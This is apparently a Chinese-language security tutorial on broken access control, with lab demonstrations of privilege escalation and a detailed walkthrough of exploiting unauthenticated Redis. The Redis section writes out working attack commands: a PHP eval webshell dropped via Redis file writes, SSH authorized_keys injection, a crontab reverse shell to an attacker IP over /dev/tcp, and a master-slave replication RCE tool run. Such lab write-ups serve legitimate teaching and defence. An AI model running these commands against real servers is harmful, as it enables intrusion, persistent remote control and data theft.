失效的访问控制
失效的访问控制 (Broken Access Control,简称BAC)是 OWASP Top 10 中的一种常见漏洞,指的是应用程序未正确实现访问控制机制,导致攻击者能够绕过身份验证或授权检查,访问或操作不该允许的资源。
主要表现和类型
-
越权访问:
- 定义:用户在不具备相应权限的情况下访问受限制的资源或执行不允许的操作。
- 表现形式:通过修改URL、应用程序状态或HTML页面绕过访问控制检查,访问敏感数据或执行高权限操作。
-
水平越权(Horizontal Privilege Escalation):
- 定义:在相同权限级别的用户之间进行越权操作。
- 实现方式:普通用户A通过修改请求参数,访问普通用户B的数据或资源。
-
垂直越权(Vertical Privilege Escalation):
- 定义:低权限用户提升到高权限用户的权限提升行为。
- 实现方式:普通用户通过猜测或直接访问高权限资源或功能,获得管理员权限。
-
命令注入和未授权访问:
- 命令注入:通过漏洞执行恶意命令,可能导致系统被控制。例如,使用未过滤的用户输入在系统中执行命令。
- 未授权访问:利用失效的访问控制漏洞,未经授权访问系统资源或敏感数据。
访问控制漏洞的危害
越权漏洞的存在可能导致以下危害:
- 泄露敏感信息:攻击者可以通过越权漏洞获取到未被授权的敏感信息,比如用户信息、交易记录等。
- 篡改数据:攻击者可以修改系统中的数据,如更改账户余额、订单状态等。
- 执行非法操作:攻击者可以执行系统中未被授权的操作,如删除数据、创建用户等
- **目录遍历:**攻击者可以通过目录遍历访问系统敏感文件,进一步提升攻击能力。
漏洞成因
1、后台权限校验规则不合理:
- 应用程序在设计权限校验规则时,未充分考虑所有可能的访问路径和请求方式。
- 权限校验逻辑在不同的代码路径中不一致,导致部分路径未进行校验。
2、设计缺陷:
- 权限控制设计不完善,没有明确区分不同角色的访问权限,或者缺乏细粒度的权限管理。
- 使用隐式权限控制机制而非显式控制,使得开发人员容易忽略权限验证。
- 缺乏统一的权限验证机制,各个模块各自为政,导致部分模块未进行权限验证。
3、前后端分离带来的安全问题:
- 前端控制权限,后端未进行二次校验,导致通过修改前端代码可以绕过权限控制。
- 通过API接口直接访问资源,绕过前端权限控制。
4、缓存引发的问题:
- 缓存机制未考虑权限控制,导致敏感数据被缓存,并在不该暴露的情况下被访问。
5、参数污染:
- 利用不当的参数传递机制,攻击者通过篡改参数达到越权访问目的。
如何检测
- 静态和动态分析结合:
- 静态分析提取Web应用程序源代码中的站点地图和预期行为逻辑。
- 动态分析使用多角色多用户的登录凭据,生成合法与非法HTTP请求与响应,以检测访问控制漏洞。
- 自动化工具:
- 工具如
OWASP ZAP
、Burp Suite
、Netsparker
、Acunetix
等可自动检查功能级访问控制缺失漏洞,识别未授权访问、越权访问,并提供详细报告和修复建议。
- 工具如
- 访问控制策略推导:
- 从角色和用户级别提取授权操作集合,推导访问控制策略,生成合法与非法测试用例,全面检测各种类型的访问控制漏洞。
- 黑盒和白盒测试:
- 黑盒测试无需获取服务器端会话信息,适用于多种类型的访问控制漏洞检测。
- 白盒测试通过模拟不同用户角色进行测试,以确保访问控制措施到位。
- 专用工具:
- 工具如CVE-2019-7238 Nexus RCE漏洞检测工具,可以快速识别因访问控制不足导致的安全问题。
防范措施
-
严格权限控制:在用户操作时验证身份并绑定参数,确保每个操作都有明确的权限校验。
-
基于角色的访问控制(RBAC):根据用户在组织中的角色来管理每个特定帐户的访问权限,确保账户仅具有其角色所需的最小授权。
-
加强审计和监控:定期审计系统日志,监控异常行为,及时发现和处理潜在的安全威胁
-
**双重验证:**前后端同时对用户输入信息进行校验,双重验证机制
-
分页查询:数据接口添加分页查询功能,防止被一次性拉取大量数据,降低数据泄露风险。
-
加密认证 Cookie:从加密认证 cookie 中获取当前用户 ID,防止攻击者对其修改。或在 session、cookie 中加入不可预测、不可猜解的用户信息。
-
建立合适的访问控制策略:确保授权期限的正确管理,并使用无状态令牌(如JWT)来增强安全性。
-
使用非直接的对象引用:这防止了攻击者直接访问其未授权的对象,通过一种mapping或其他方法让攻击者无法直接访问。
漏洞详解
水平越权
水平越权(Horizontal Privilege Escalation)是指在同一权限级别下的用户之间进行越权操作。例如,两个普通用户A和B,各自只能访问自己的数据,但通过某种手段(如修改用户名或其他参数),A能够访问到B的数据。这种攻击通常发生在同一角色的不同用户之间,即权限相等者互相越权。
具体来说,水平越权可以通过以下几种方式实现:
- 通过URL传递参数:例如,某些系统允许通过URL传递参数来访问特定数据,如果这些参数没有被正确验证,攻击者可以通过修改URL中的参数来访问其他用户的敏感信息。
- 基于数据的访问控制缺陷:服务器端在接收到请求数据进行操作时,没有判断被请求数据的归属,导致越权数据访问。
靶场演示
pikachu(Over Permission-水平越权)
1、打开靶场查看提示,上面有几个用户名和密码,登录其中一个,观察到上方的URL栏的参数暴露了。
2、直接修改username参数不用通过检验即可查看kobe的信息,这就是水平越权
垂直越权
垂直越权(Vertical Privilege Escalation)则是指不同权限级别之间的越权操作。例如,一个普通用户执行管理员用户的权限。垂直越权的主要特点是攻击者通过一系列操作,最终以权限较低的账户,实现对高权限资源的访问或操作。
垂直越权的常见场景包括:
- 基于URL的访问控制设计缺陷:由于Web应用程序没有做权限控制或者仅在菜单上做了权限控制,导致恶意用户只要猜测其他管理页面的URL,就可以访问或控制其他角色拥有的数据或页面。
- 绕过身份验证:通过漏洞或弱点,攻击者可以绕过身份验证机制并获取更高权限。例如,通过使用调试工具或篡改身份验证令牌来提升权限。
- 操作系统命令注入:低权限用户通过命令注入漏洞执行高权限操作。例如,通过输入恶意代码来执行管理员级别的操作。
靶场演示
pikachu(Over Permission-垂直越权)
1、点击提示,我们先登录admin这个超级用户.
2、进入超级用户页面,我们添加用户xrzm,然后使用burpsuite进行抓包并把数据包发到Repeater重发器备用
3、现在进入普通用户pikachu,使用burpsuite进行抓包,把Cookie保存下来备用。
4、然后把第一次抓的包(admin界面添加用户)粘贴覆盖这个数据包,只更改其中的Cookie(改成普通用户的Cookie),添加一个Hacker用户。
5、发包之后会自动退出登录,重新登录pikachu即可看到Hacker用户已经添加到列表了。
Redis未授权访问
Redis未授权访问漏洞是指由于Redis服务器配置不当,导致攻击者无需认证即可访问和操作Redis服务的漏洞。
该漏洞主要由以下几个方面的原因引起:
- 默认绑定IP:Redis默认情况下会绑定在
0.0.0.0:6379
端口上,这意味着它将服务暴露到公网上。 - 缺少密码认证:如果Redis没有设置密码认证(一般为空),则任何用户都可以通过IP地址和端口进行远程登录。
漏洞的危害
- 敏感信息泄露:如果Redis默认绑定在0.0.0.0:6379,并且没有进行安全配置(如防火墙规则、密码认证等),攻击者可以无需认证直接访问Redis服务器,获取内部数据,导致用户数据、交易记录等敏感信息泄露。
- 恶意操作:攻击者可以通过未授权访问执行恶意操作,如使用flushall命令清空所有数据,或通过EVAL命令执行恶意Lua脚本。此外,攻击者还可以利用Redis备份功能往磁盘写入后门文件,进一步控制目标系统。
- 反弹shell和远程代码执行:如果Redis以root身份运行,攻击者可以写入SSH公钥文件,实现反弹shell,获得服务器的最高权限。攻击者还可以通过构造恶意数据执行远程代码,进一步控制受害服务器。
- 蠕虫传播:未授权访问漏洞可能被用于蠕虫传播。2018年9月12日,阿里巴巴云安全团队发现大量利用Redis未授权访问漏洞进行蠕虫传播的事件,这些蠕虫感染主机并继续传播,导致严重网络攻击。
- 业务中断和服务不可用:Redis是许多应用的核心组件,其未授权访问漏洞可能导致系统业务中断和服务不可用。攻击者可以利用该漏洞破坏或加密数据库,从而进行勒索。
漏洞的影响版本:
Redis 2.x,3.x,4.x,5.x
实现步骤:
- 在攻击机上安装并配置Redis客户端工具(如
redis-cli
)。 - 检查目标Redis实例是否暴露在公网且未设置密码认证。
- 根据目标系统的环境和配置,选择合适的方法进行提权,例如写入webshell、反弹shell或写入SSH公钥。
- 执行相应的命令或脚本,进一步执行恶意操作。
实战演示
漏洞复现
1、首先在两台虚拟机上安装Redis,其中kali
作为靶机,window
作为攻击机
kali安装步骤代码如下:
1、su root #获取root权限
2、wget http://download.redis.io/releases/redis-4.0.10.tar.gz #下载4.0.10的redis压缩包
3、tar -zxvfredis-4.0.10.tar.gz #解压压缩包
4、cd redis-4.0.10/src/ #进入src目录
5、make #开始安装
6、cd ../ #进入上一级目录
7、编辑redis.conf文件:
在redis-4.0.10目录下用vim打开redis.conf文件,然后找到
bind 127.0.0.1(页面4%处)注释掉,否则只允许本地访问
protected-mode no(页面6%处)
daemonize 值(应该在整个页面的9%处)改为yes(后台启动,不然窗口一关服务就挂了)
然后按下Esc键,:wq进行保存
8、cd src #重新回到src目录
9、cp redis-server /usr/bin
10、cp redis-cli /usr/bin #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
11、cd ../ #返回目录redis-4.0.10
12、cp redis.conf /etc/ #将redis.conf拷贝到/etc/目录下
13、redis-server /etc/redis.conf #使用/etc/目录下的reids.conf文件中的配置启动redis服务
这样子就算是启动成功了:
Window安装网站:Releases · tporadowski/redis (github.com)
自行解压下载解压即可
2、安装完成后查看kali
的ip地址,然后在window
的redis目录的cmd中输入redis-cli.exe -h 靶机ip地址
即可连接(如果是linux
做攻击机,那么把cli后面去掉.exe即可)
注:测试的时候如果出现redis客户端一直连不上的情况,在靶机上执行了以下命令,客户端就可以连接上了。
iptables -L -nv
iptables -F
3、到目前为止,Redis未授权访问漏洞已经复现完了,接下来就是漏洞利用环节。
未授权 Redis 拿 shell :
一般来说,拿shell有四种方式:
1.通过 Redis 漏洞写 shell
2.通过写 SSH key 拿 shell
3.通过 crontab 反弹 shell
4.通过 Redis 主从复制反弹 shell
Redis 漏洞写 shell
利用前提:
1.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限 (我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)
实现步骤:
1、写入一句话木马
config get dir #查看redis数据库路径
config set dir /root/redis-4.0.10 #如果上一条没有回显/root/redis-4.0.10,那么修改靶机Redis数据库路径
config set dbfilename pl.php #生成pl.php文件
set xxx "\r\n\r\n<?php eval($_POST[cmd]);?>\r\n\r\n" #将一句话木马写入文件中
#"\r\n\r\n"是换行的意思,用redis写入文件会自带一些版本信息,如果不换行可能导致无法执行。
save #保存
2、可以看到靶机上的redis-4.0.10
文件夹处新增了一个pl.php
文件,里面有一句话木马
3、那如果我们把文件写到网站目录(/var/www/html)下,那么就可以直接访问(写一句话木马那就可以用蚁剑连接进行文件操作):
**注:**如果发现ip地址/文件名.php
打不开,那应该是没有打开apache服务的问题,在靶机打开服务即可(这里我被绕进去了两个小时,还以为是靶机出错了)
写 SSH key 拿 shell
ssh密钥连接:
ssh可以远程登录另外一台电脑,ssh登录方式有两种:一个是密码登录,一个是密钥登录
我们主要看密钥登录是什么流程,公钥登录是为了解决每次登录服务器都要输入密码的问题,流行使用RSA加密方案,主要流程包含:
1、客户端生成RSA公钥和私钥
2、客户端将自己的公钥存放到服务器
3、客户端请求连接服务器,服务器将一个随机字符串发送给客户端
4、客户端根据自己的私钥加密这个随机字符串之后再发送给服务器
5、服务器接受到加密后的字符串之后用公钥解密,如果正确就让客户端登录,否则拒绝。这样就不用使用密码了。
利用前提:
1.当redis以root身份运行。
2.靶机redis链接未授权,在攻击机上能用redis-cli连上。
3.存在/root/.ssh目录,如果不存在我们可以通过一句话木马连接蚁剑创建目录不过可能进不去root目录权限问题可能或者自己mkdir一个目录毕竟是自己搭建靶场。因为.ssh是隐藏目录可以通过ls -la查看有没有。
实现步骤:
windows没有办法直接生成密钥,所以生成密钥需要安装git。
有几点需要注意:
-
如果你是linux系统使用cat,是windows系统使用type.
-
如果你是windows那你利用ssh密钥连接运行ssh -i id_rsa root@192.168.43.141需要在.ssh目录下,因为权限问题。
-
你利用redis上传公钥时候运行代码是在你解压的redis文件下运行。
-
文件名必须是authorized_keys,由配置文件决定的。
1、在桌面空白处右键打开git bash here
,输入指令ssh-keygen -t rsa
生成密钥,然后可以在用户名下的.ssh文件夹下找到密钥文件
2、我们可以将id_rsa.pub
内的所有内容复制到key.txt
中并通过下面的指令上传到靶机
key.txt
有两个要点:
1、key.txt
要写绝对路径
2、window
作为攻击机时,复制粘贴的时候,手动在文件内容的开头和结尾都必须要换行2行才行。
1、#将公钥作为value插入到数据库中,key随便啥值。
type 绝对路径\key.txt | redis-cli.exe -h 192.168.225.130 -x set xxx #如果是linux 将type换成cat,并去掉.exe即可
2、#修改redis数据库路径
redis-cli.exe -h 192.168.225.130 config set dir /root/.ssh
3、#生成缓冲文件authorized_keys
redis-cli.exe -h 192.168.225.130 config set dbfilename authorized_keys
4、#保存
redis-cli.exe -h 192.168.225.130 save
5、#连接
ssh -i id_rsa root@192.168.225.130
3、命令执行第三条时,会在kali内的/root/.ssh下面产生公钥文件
4、输入第五条命令ssh -i id_rsa root@192.168.225.130
后即可连接成功,接下来输入命令执行即可。
crontab 反弹 shell
概念简述:
crontab 是 Linux 系统中用于设置周期性被执行的指令的命令,也就是当我们关闭会话或者目标主机关机时,命令依旧会执行,这个对我们后期持久化渗透很有帮助。
crond 命令每分钟会定期检查是否有要执行的工作,如果有要执行的工作便会自动执行该工作。
实现步骤:
1、这里需要用到nc(netcat),如果攻击机是window,那需要自行下载使用。下载链接:适用于 Win32/Win64 的 netcat 1.11 (eternallybored.org)
安装好nc后打开cmd,输入命令监听你反弹shell的端口:
nc -lvp 8888
2、上传反弹shell命令
首先我们需要定位到我们需要的文件路径下,因为在/var/spool/cron/crontabs/
下如果文件名是root,那么会定时执行里面的命令。这个目录不同操作系统是不一样的,kali是/var/spool/cron/crontabs/
。
具体步骤如下:
redis-cli.exe -h 192.168.225.130
config set dir /var/spool/cron/crontabs #根据不同的情况进行更改
config set dbfilename root
set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.1.14/8888 0>&1\n\n"
#前面五个星号分别表示 分 时 天 月 周 一般用于具体的定时时间。后面就是执行的命令。\n\n是换行前面已经说过,因为redis会出现乱码,可以通过上传的root文件看到有乱码。
save
3、crontabs目录下新增了一个root文件,但是nc一直却没有回显。
查找资料,好像**Ubuntu
和debian
是不能执行的,而centos
可以执行**,原因如下:
1、因为默认 redis 写文件后是 644 权限,但是 Ubuntu 要求执行定时任务文件 /var/spool/cron/crontabs/<username> 权限必须是 600 才会执行,否则会报错 (root) INSECURE MODE (mode 0600 expected),而 Centos 的定时任务文件 /var/spool/cron/<username> 权限 644 也可以执行
2、 redis 保存 RDB 会存在乱码,在 Ubuntu 上会报错,而在 Centos 上不会报错
但是没找到kali是否可以执行,但是查看kali里的root文件内容和权限,猜测kali应该也无法实现crontab反弹。
4、所以这个实验我用cento7继续,centos7中的redis安装和kali一样,启动后使用window连接即可
5、查看crontab所在的路径:/var/spool/cron
redis-cli.exe -h 192.168.225.137
config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.1.14/8888 0>&1\n\n"
save
6、输入完上述代码,发现反弹shell成功,但是无法执行命令
7、输入ln -s /usr/sbin/ifconfig /usr/bin/ifconfig
后可以正常执行
Redis 主从复制反弹 shell
概念简述:
Redis主从复制通过将数据从主节点(Master)复制到从节点(Slave),实现数据冗余和读写分离,从而提高系统的高可用性和负载能力。
适用版本:
4.x / 5.x
实现步骤:
复现漏洞需要先下载攻击代码,下面是linux
的下载步骤,windows
可以在linux
下载完后直接将这个里面redis-rce
文件夹复制过来就行了。注意:module.so
也要移过去。
1、git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
#下载RedisModules-ExecuteCommand
2、git clone https://github.com/Ridter/redis-rce
#下载redis-rce
3、cd RedisModules-ExecuteCommand
4、make
#进入RedisModules-ExecuteCommand 使用make进行编译
5、mv module.so /root/redis-rce
#编译之后将module.so移到redis-rce
6、cd /root/redis-rce
7、python3 redis-rce.py -r 192.168.225.130 -L 192.168.1.14 -f module.so
#进入到redis-rce 执行命令,-r是目标IP -L是攻击机ip
1、在linux
下载并移动完后,将redis-rce
整个文件夹复制到windows
(kali-root
目录下的文件不能直接拖到windows
的,需要先复制到kali
的其他文件夹下再复制到windows
)。
2、攻击机利用redis连接到靶机后,输入第七步的代码运行,可以选择交互式shell,反弹shell和退出。
3、我们这里选择i(交互式shell),输入命令即可运行;
也可以选择r(反弹shell),只需要攻击机开启nc监听,等待一会即可得到shell
4、如果redis需要密码,可以使用msf进行密码的简单爆破,这里就不进行讲解了。
实战中Redis命令
1.redis-cli -h ip (-p 6379 -a passwd) # 外部连接,Redis 的连接除了通过指定 IP,也可以通过指定域名
2.info # 查看相关redis信息
3.set xz "Hacker" # 设置键xz的值为字符串Hacker
4.get xz # 获取键xz的内容
5.INCR score # 使用INCR命令将score的值增加1
6.keys * # 列出当前数据库中所有的键
7.config set protected-mode no # 关闭安全模式
8.get anotherkey # 获取一个不存在的键的值
9.config set dir /root/redis # 设置保存目录
10.config set dbfilename redis.rdb # 设置保存文件名
11.config get dir # 查看保存目录
12.config get dbfilename # 查看保存文件名
13.save # 进行一次备份操作
14.flushall # 删除所有数据
15.del key # 删除键为key的数据
16.slaveof ip port # 设置主从关系
17.127.0.0.1:6379> mset k1 v1 k2 v2 k3 v3 #批量设置键值对
OK
18.127.0.0.1:6379> mget k1 k2 k3 #批量获取键值对
1) "v1"
2) "v2"
3) "v3"
使用SET和GET命令,可以完成基本的赋值和取值操作;
Redis是不区分命令的大小写的,set和SET是同一个意思;
使用keys *可以列出当前数据库中的所有键;
当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
如果键的值中有空格,需要使用双引号括起来,如"Hello World";
防御措施
为了防止Redis未授权访问,可以采取以下措施:
- 设置密码认证:通过开启Redis的密码认证功能,只有知道密码的用户才能连接到Redis数据库。这可以显著增强安全性,防止未经授权的访问和恶意攻击。
- 绑定信任的IP地址:在Redis配置文件中使用
bind
选项,仅允许信任的IP地址访问Redis服务。例如,可以将Redis绑定到内网IP地址上,避免公网访问。 - 修改默认端口:将Redis的默认端口(通常是6379)改为其他端口,以减少被扫描和利用的风险。
- 启用TLS/SSL加密:通过配置TLS/SSL证书,确保数据传输过程中的加密,防止数据在传输过程中被截获或篡改。
- 使用ACL进行精细控制:利用Redis的用户权限管理(ACL)功能,对不同用户的访问权限进行详细控制。可以创建、设置和删除用户及其权限,从而实现更细粒度的安全管理。
- 禁用危险命令:禁用或限制那些可能带来安全风险的命令,如
FLUSHDB
和FLUSHALL
等,以防止恶意用户执行这些操作。 - 防火墙规则:配置防火墙规则,阻止非信任来源的IP访问Redis服务,进一步限制外部访问。
- 更新Redis版本:使用最新的Redis版本,因为新版本通常会修复已知的安全漏洞和增强安全性。
更多的未授权访问漏洞可以参考:
常用的30+种未授权访问漏洞汇总 - FreeBuf网络安全行业门户
参考文章:
WEB漏洞-逻辑越权之水平垂直越权_web越权垂直特征-CSDN博客